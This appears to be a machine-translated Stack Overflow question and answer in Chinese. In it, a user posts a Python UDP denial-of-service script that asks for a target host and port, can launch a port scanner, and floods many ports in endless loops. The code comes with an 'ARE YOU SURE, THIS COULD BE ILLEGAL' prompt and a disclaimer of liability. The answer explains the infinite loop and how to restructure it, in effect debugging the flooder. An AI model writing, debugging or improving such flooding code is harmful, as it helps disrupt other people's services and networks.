为什么这么多数据包会显示为已发送?蟒蛇

时间:2015-09-12 02:23:30

标签: python sockets loops udp false-positive

嘿,为什么这会发送如此多的数据包却无法实现?我知道端口扫描器是不必要的,但是我需要这个工具的未来开发。我希望for循环同时运行,但我找不到多线程的方法。

def DOS():

    try:

        ask = raw_input("[+]  Do you know the open ports you are trying to attack(YES/NO)  : ")

        if ask.upper() == "NO":
            #opens port scanner
            print ("[+]  Loading port scanner for you  : ")
            time.sleep(1)
            PORT_SCANNER()

        elif ask.upper() == "YES":
            HOST = raw_input("[+]  Enter address  : ")
            PORT = int(raw_input("[+]  Enter port, use port scanner to find open ports : "))

            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)            
            #confirmation

            #I am not liable for any action as a result this program
            sure = raw_input("[+]  ARE YOU SURE?, THIS COULD BE ILLEGAL(YES/NO  : ")

            if sure.upper() == "YES":
                sent = 0
                while 1 == 1:
                    for x in range(1,65500):
                    s.sendto(DOS_TEXT, (HOST, x))
                    s.sendto(packet, (HOST, PORT))
                    s.sendto(VBN, (HOST, x))
                    sent = sent + 3
                for no in range(1,1025):
                    s.sendto(Thi_s, (HOST, x))
                    sent = sent + 1
                for xn in range(20000,40000):
                    s.sendto(THIS, (HOST, x))
                    sent = sent + 1

1 个答案:

答案 0 :(得分:0)

你有一个无限循环:

    ...            
        while 1 == 1: # Here is the problem
            for x in range(1,65500):
                s.sendto(DOS_TEXT, (HOST, x))
                s.sendto(packet, (HOST, PORT))
                s.sendto(VBN, (HOST, x))
                sent = sent + 3
            for no in range(1,1025):
                s.sendto(Thi_s, (HOST, x))
                sent = sent + 1
            for xn in range(20000,40000):
                s.sendto(THIS, (HOST, x))
                sent = sent + 1

尽可能删除此行,或者在循环结构中添加break